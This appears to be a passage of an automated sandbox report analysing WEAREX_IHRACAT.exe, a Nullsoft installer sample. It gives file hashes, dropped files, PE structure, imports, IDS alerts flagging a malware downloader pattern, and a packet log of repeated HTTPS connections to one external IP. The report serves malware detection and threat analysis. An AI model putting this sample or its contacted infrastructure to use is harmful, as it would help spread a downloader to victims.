SHA-512:	9F0586D745C8DF4F12329E34E2BF7FCC78C6725E631C760AA912BD3628955E26D56AA466009C4948CB1253839D09EC7DF6725C34A67E3B3B51670CB77AE01499
Malicious:	false
Preview:	....u......6.....:............................EU.....z..B..........k...w.....................f.....v.........Y..........................v......wF.....=.........s..............E.................:......B......... _....<....a........A.................;......y........l..................#.................t.......................I.....}3...e.............................k..................................].t...............Q....................7...=......!..................."...}.............i..............................R.D._....8.u............K...........Q.........'..............n....C.........K......>........2.......i......................Q..............F..+...X........%?.....0...T...............DX...;.}..........j.......c............N..r...........`............................v........=n.....*Q.............Y....QL.......Q..........b..........s.".......0.~...!?...]........^.............c..........(_.......................g.........X...F........'...N...........0....D...............T....

C:\Users\user\gangningerne\jot\mtn\Discomplexion\isvintrene.gaf

Download File

Process:	C:\Users\user\Desktop\WEAREX_IHRACAT.exe
File Type:	data
Category:	dropped
Size (bytes):	22218
Entropy (8bit):	3.264646650126842
Encrypted:	false
SSDEEP:	384:YtjNZ40VIDz3Wddjx2SLfNmEmvgT4mvw/PuKWxidvyQey:YxbRk3WdFxtQ9vz/PXyly
MD5:	3FB3828F8898D364F7EE5607547E6040
SHA1:	9EA56ECEB3D57AB5AE8D3434A157BAECF424715F
SHA-256:	51A0A1D3B04F367EA6F0294222D49E1D351376577ACE15734340092D11391081
SHA-512:	725671BF74696E2B502BC19352FFF96BA9E7A58064FE83EBD1D4C693DC1B7083098A26C2174FA97AA9D3C832DD119B9C6F05E585E1633FB5C7733D2983842AA0
Malicious:	false
Preview:	.......................................v.'.....................w............E...........@.............K...:...q.......................9......b........l....I..C...]............{.!.4.q.........T.......2...........n.pg.....p..........N......................Lj...............V..........xS..\|....]....[....P...........F.....q~............................o......I"%........).X........}..............................E6...[........G..........G.........[..........Q........e................v...........f...7.f.....H....................c..*........a.>........+......r........#........~..............4...................r.........................................kU:......&-.....`.N...b.......q.....]....&......+...............................................................R..g.&.............>........%......O...........f.....a.......X.....u..........D.............................................Y.......M......E..........................................4.......................................9.b..../.

C:\Users\user\gangningerne\jot\mtn\Discomplexion\rustling.avi

Download File

Process:	C:\Users\user\Desktop\WEAREX_IHRACAT.exe
File Type:	data
Category:	dropped
Size (bytes):	41243
Entropy (8bit):	3.219354776148546
Encrypted:	false
SSDEEP:	768:u4wnuDGKamnhCdUqMxoGyTM4XPYvMiCbR3dGLq:UmAdeoJ/Y7aRtr
MD5:	46E9E6BF651E043A929B22B6E20B22C2
SHA1:	C2E94B4CE6F9328A063B9A6E2427ADF528735164
SHA-256:	5A12E8D8793E33175392D0743BCE73E93F877DCB1D9933079A19ADD4161D6D97
SHA-512:	CACED7D9F3C38B93FF91AD7B6CF4AE86FC214B446CA62D8E5BA7678EE54364D7952A50987A03CED17FCC62D4B86CF4F03DDDE0423070A4B009461C04F9428C97
Malicious:	false
Preview:	....D...........s............e..................\...K...................$........................{..........=..........]...........................O............T.......................%..............U....q...........4..........................A....................2w.................20...........f....3...............................#3......^...;.......3xe.....;........J......................................-4............&..............[..2......C...}............m..........?........5......U/..-......................6.......3..3.P.....T......T.....p................b...@...............\........ .......?............F......j.........<.....................................Q..........i.....n..................,...c......\.c.......$.................9...h.........S....................S.q.......O...........{...&................U..3....@........ ...b.................}........\.......{....k.....%.>....!........o..+.........................Q\|................E...............................V.....

C:\Windows\Fonts\logorrheic.ini

Download File

Process:	C:\Users\user\Desktop\WEAREX_IHRACAT.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35
Entropy (8bit):	3.918867931899244
Encrypted:	false
SSDEEP:	3:QQkJ7E4Fnyn:eA4Fnyn
MD5:	40600272448BB9ADF1D91714A4C7A2BE
SHA1:	E7DBF46977F456296394B6B954868EDA9AA6023F
SHA-256:	90E93C241E8033528681E2CA698B36EF573272E920B5A0A5E900D69C258DADB4
SHA-512:	E7002FFAB2FA38CAAC1BA7D38B4FF9DC4F7608ADEA3337C1DAF32B7F1BB299AF63AF7D172BB5B7CB90983F701BA4D3FEEAB8BDDDE06CAF028262652035D86AB5
Malicious:	false
Preview:	[amtstuerne]..colic=sanitetsvsnet..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.844332745869164
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	WEAREX_IHRACAT.exe
File size:	416'292 bytes
MD5:	2e620407c0b25239ef46534a34217c27
SHA1:	1751f775e9e9279757ec94c9f4cf63b01af42525
SHA256:	a49b3780d9a1af972b0e6d252284edff3b00e35713336456579431f1081debe4
SHA512:	14a0898606e1b8405edb8b790f65ee207e4fe3e1dfdc4f21c6a5014730e80cdc5bffaf9d5af54fc8070cc59fd4873c16a89736fd8dd7733f900a8c6d14755457
SSDEEP:	12288:NtjALF2QGm6An6r2vvCi1JQhmlfwfmgpTxDFlvT:HYUQcAn66C+JQhml4bhx3T
TLSH:	DF9412D0B7C498BAD6F35E3306F3ABB9E36ADDA50116421B37003B2E6835E51E90CB55
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.j........PE..L....f.R.................`.........X3.......p....@

File Icon


Icon Hash:	076426b43c41395c

Static PE Info

General

Entrypoint:	0x403358
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x52BA66B2 [Wed Dec 25 05:01:38 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	e221f4f7d36469d53810a4b5f9fc8966

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+14h], ebp
mov dword ptr [esp+10h], 00409230h
mov dword ptr [esp+1Ch], ebp
call dword ptr [00407034h]
push 00008001h
call dword ptr [004070BCh]
push ebp
call dword ptr [004072ACh]
push 00000008h
mov dword ptr [00429298h], eax
call 00007F4D90A0B83Ch
mov dword ptr [004291E4h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 00420690h
call dword ptr [0040717Ch]
push 0040937Ch
push 004281E0h
call 00007F4D90A0B4A7h
call dword ptr [00407134h]
mov ebx, 00434000h
push eax
push ebx
call 00007F4D90A0B495h
push ebp
call dword ptr [0040710Ch]
cmp word ptr [00434000h], 0022h
mov dword ptr [004291E0h], eax
mov eax, ebx
jne 00007F4D90A0898Ah
push 00000022h
mov eax, 00434002h
pop esi
push esi
push eax
call 00007F4D90A0AEE6h
push eax
call dword ptr [00407240h]
mov dword ptr [esp+18h], eax
jmp 00007F4D90A08A4Eh
push 00000020h
pop edx
cmp cx, dx
jne 00007F4D90A08989h
inc eax
inc eax
cmp word ptr [eax], dx
je 00007F4D90A0897Bh
add word ptr [eax], 0000h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7494	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x13650	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x2b8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5e66	0x6000	e8f12472e91b02deb619070e6ee7f1f4	False	0.6566569010416666	data	6.419409887460116	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1354	0x1400	2222fe44ebbadbc32af32dfc9c88e48e	False	0.4306640625	data	5.037511188789184	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x202d8	0x600	a5ec1b720d350c6303a7aba8d85072bf	False	0.4733072916666667	data	3.7600484096214832	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2a000	0x29000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x13650	0x13800	8df102fbcf6a85b896cb70a1d3e0f6f4	False	0.81103515625	data	7.122865673230132	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x53358	0xb0b7	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9877318243108822
RT_ICON	0x5e410	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.34782157676348546
RT_ICON	0x609b8	0x22a7	PNG image data, 256 x 256, 8-bit colormap, non-interlaced	English	United States	0.9764400856724157
RT_ICON	0x62c60	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5522983114446529
RT_ICON	0x63d08	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.48720682302771856
RT_ICON	0x64bb0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.6629061371841155
RT_ICON	0x65458	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.3547687861271676
RT_ICON	0x659c0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.4530141843971631
RT_DIALOG	0x65e28	0x100	data	English	United States	0.5234375
RT_DIALOG	0x65f28	0xf8	data	English	United States	0.6330645161290323
RT_DIALOG	0x66020	0xa0	data	English	United States	0.6125
RT_DIALOG	0x660c0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x66120	0x76	data	English	United States	0.652542372881356
RT_VERSION	0x66198	0x1ac	data	English	United States	0.514018691588785
RT_MANIFEST	0x66348	0x305	XML 1.0 document, ASCII text, with very long lines (773), with no line terminators	English	United States	0.5614489003880984

Imports

DLL	Import
KERNEL32.dll	CompareFileTime, SearchPathW, SetFileTime, CloseHandle, GetShortPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, GetFullPathNameW, CreateDirectoryW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, SetEnvironmentVariableW, GetWindowsDirectoryW, SetFileAttributesW, ExpandEnvironmentStringsW, SetErrorMode, LoadLibraryW, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, lstrcpyA, lstrcpyW, lstrcatW, GetSystemDirectoryW, GetVersion, GetProcAddress, LoadLibraryA, GetModuleHandleA, GetModuleHandleW, lstrcmpiW, lstrcmpW, WaitForSingleObject, GlobalFree, GlobalAlloc, LoadLibraryExW, GetExitCodeProcess, FreeLibrary, WritePrivateProfileStringW, GetCommandLineW, GetTempPathW, GetPrivateProfileStringW, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, MulDiv, MultiByteToWideChar, WriteFile, lstrlenA, WideCharToMultiByte
USER32.dll	EndDialog, ScreenToClient, GetWindowRect, RegisterClassW, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, wsprintfW, CreateWindowExW, SystemParametersInfoW, AppendMenuW, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, GetDC, SetWindowLongW, LoadImageW, SendMessageTimeoutW, FindWindowExW, EmptyClipboard, OpenClipboard, TrackPopupMenu, EndPaint, ShowWindow, GetDlgItem, IsWindow, SetForegroundWindow
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW
ADVAPI32.dll	RegCloseKey, RegOpenKeyExW, RegDeleteKeyW, RegDeleteValueW, RegEnumValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-29T12:47:29.980026+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49817	443	192.168.11.20	172.67.207.219
2024-08-29T12:44:10.058869+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49798	443	192.168.11.20	172.67.207.219
2024-08-29T12:47:40.545730+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49818	443	192.168.11.20	172.67.207.219
2024-08-29T12:46:16.116813+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49810	443	192.168.11.20	172.67.207.219
2024-08-29T12:40:39.276679+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49778	443	192.168.11.20	172.67.207.219
2024-08-29T12:41:10.845968+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49781	443	192.168.11.20	172.67.207.219
2024-08-29T12:43:38.548806+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49795	443	192.168.11.20	172.67.207.219
2024-08-29T12:45:44.642511+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49807	443	192.168.11.20	172.67.207.219
2024-08-29T12:48:01.626916+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49820	443	192.168.11.20	172.67.207.219
2024-08-29T12:45:02.626566+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49803	443	192.168.11.20	172.67.207.219
2024-08-29T12:42:13.957536+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49787	443	192.168.11.20	172.67.207.219
2024-08-29T12:45:55.128979+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49808	443	192.168.11.20	172.67.207.219
2024-08-29T12:47:51.113817+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49819	443	192.168.11.20	172.67.207.219
2024-08-29T12:44:31.092272+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49800	443	192.168.11.20	172.67.207.219
2024-08-29T12:45:23.646662+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49805	443	192.168.11.20	172.67.207.219
2024-08-29T12:47:19.408610+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49816	443	192.168.11.20	172.67.207.219
2024-08-29T12:45:13.157708+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49804	443	192.168.11.20	172.67.207.219
2024-08-29T12:41:21.355961+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49782	443	192.168.11.20	172.67.207.219
2024-08-29T12:48:12.140527+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49821	443	192.168.11.20	172.67.207.219
2024-08-29T12:42:03.439873+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49786	443	192.168.11.20	172.67.207.219
2024-08-29T12:40:49.799928+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49779	443	192.168.11.20	172.67.207.219
2024-08-29T12:44:41.578317+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49801	443	192.168.11.20	172.67.207.219
2024-08-29T12:43:49.031831+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49796	443	192.168.11.20	172.67.207.219
2024-08-29T12:41:00.329177+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49780	443	192.168.11.20	172.67.207.219
2024-08-29T12:44:20.589165+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49799	443	192.168.11.20	172.67.207.219
2024-08-29T12:42:35.005423+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49789	443	192.168.11.20	172.67.207.219
2024-08-29T12:46:47.848269+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49813	443	192.168.11.20	172.67.207.219
2024-08-29T12:44:52.095797+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49802	443	192.168.11.20	172.67.207.219
2024-08-29T12:41:42.381784+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49784	443	192.168.11.20	172.67.207.219
2024-08-29T12:46:37.342240+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49812	443	192.168.11.20	172.67.207.219
2024-08-29T12:46:05.614459+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49809	443	192.168.11.20	172.67.207.219
2024-08-29T12:43:17.242681+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49793	443	192.168.11.20	172.67.207.219
2024-08-29T12:42:56.123591+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49791	443	192.168.11.20	172.67.207.219
2024-08-29T12:46:58.386091+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49814	443	192.168.11.20	172.67.207.219
2024-08-29T12:41:31.868230+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49783	443	192.168.11.20	172.67.207.219
2024-08-29T12:43:06.681213+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49792	443	192.168.11.20	172.67.207.219
2024-08-29T12:46:26.601577+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49811	443	192.168.11.20	172.67.207.219
2024-08-29T12:42:45.555184+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49790	443	192.168.11.20	172.67.207.219
2024-08-29T12:43:28.012773+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49794	443	192.168.11.20	172.67.207.219
2024-08-29T12:43:59.510821+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49797	443	192.168.11.20	172.67.207.219
2024-08-29T12:41:52.906252+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49785	443	192.168.11.20	172.67.207.219
2024-08-29T12:47:08.891767+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49815	443	192.168.11.20	172.67.207.219
2024-08-29T12:42:24.464710+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49788	443	192.168.11.20	172.67.207.219
2024-08-29T12:45:34.136906+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49806	443	192.168.11.20	172.67.207.219
2024-08-29T12:40:18.273315+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49776	443	192.168.11.20	172.67.207.219
2024-08-29T12:40:28.757039+0200	TCP	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	49777	443	192.168.11.20	172.67.207.219

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 29, 2024 12:40:17.545861006 CEST	49776	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:17.545912027 CEST	443	49776	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:17.546116114 CEST	49776	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:17.559079885 CEST	49776	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:17.559101105 CEST	443	49776	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:17.787374020 CEST	443	49776	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:17.787584066 CEST	49776	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:17.787619114 CEST	49776	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:17.833245039 CEST	49776	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:17.833278894 CEST	443	49776	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:17.833847046 CEST	443	49776	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:17.833966970 CEST	49776	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:17.835840940 CEST	49776	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:17.876197100 CEST	443	49776	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:18.273344994 CEST	443	49776	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:18.273405075 CEST	443	49776	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:18.273452044 CEST	443	49776	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:18.273519039 CEST	49776	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:18.273538113 CEST	443	49776	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:18.273557901 CEST	443	49776	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:18.273564100 CEST	49776	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:18.273646116 CEST	49776	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:18.273736000 CEST	49776	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:18.278040886 CEST	49776	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:18.278067112 CEST	443	49776	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:28.284816980 CEST	49777	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:28.284868002 CEST	443	49777	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:28.285006046 CEST	49777	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:28.285177946 CEST	49777	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:28.285193920 CEST	443	49777	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:28.498835087 CEST	443	49777	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:28.499094963 CEST	49777	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:28.499407053 CEST	49777	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:28.499418020 CEST	443	49777	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:28.499538898 CEST	49777	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:28.499548912 CEST	443	49777	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:28.756951094 CEST	443	49777	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:28.757004976 CEST	443	49777	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:28.757114887 CEST	49777	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:28.757128954 CEST	443	49777	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:28.757179022 CEST	49777	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:28.757299900 CEST	443	49777	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:28.757370949 CEST	49777	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:28.757481098 CEST	49777	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:28.757529020 CEST	49777	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:28.757555008 CEST	443	49777	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:38.798365116 CEST	49778	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:38.798392057 CEST	443	49778	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:38.798675060 CEST	49778	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:38.798871994 CEST	49778	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:38.798883915 CEST	443	49778	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:39.011187077 CEST	443	49778	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:39.011392117 CEST	49778	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:39.011806965 CEST	49778	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:39.011811972 CEST	443	49778	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:39.012160063 CEST	49778	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:39.012167931 CEST	443	49778	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:39.276678085 CEST	443	49778	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:39.276719093 CEST	443	49778	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:39.276746035 CEST	443	49778	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:39.276815891 CEST	443	49778	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:39.276855946 CEST	49778	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:39.276946068 CEST	49778	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:39.277210951 CEST	49778	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:39.277224064 CEST	443	49778	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:49.327105999 CEST	49779	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:49.327131033 CEST	443	49779	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:49.327377081 CEST	49779	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:49.327626944 CEST	49779	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:49.327636957 CEST	443	49779	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:49.543817997 CEST	443	49779	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:49.544085026 CEST	49779	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:49.544749975 CEST	49779	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:49.544749975 CEST	49779	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:49.544759989 CEST	443	49779	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:49.544765949 CEST	443	49779	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:49.799945116 CEST	443	49779	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:49.800015926 CEST	443	49779	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:49.800044060 CEST	443	49779	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:49.800107002 CEST	49779	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:49.800122976 CEST	443	49779	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:49.800137997 CEST	443	49779	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:49.800174952 CEST	49779	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:49.800363064 CEST	49779	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:49.801683903 CEST	49779	443	192.168.11.20	172.67.207.219
Aug 29, 2024 12:40:49.801697016 CEST	443	49779	172.67.207.219	192.168.11.20
Aug 29, 2024 12:40:59.856169939 CEST	49780	443	192.168.11.20	172.67.207.219
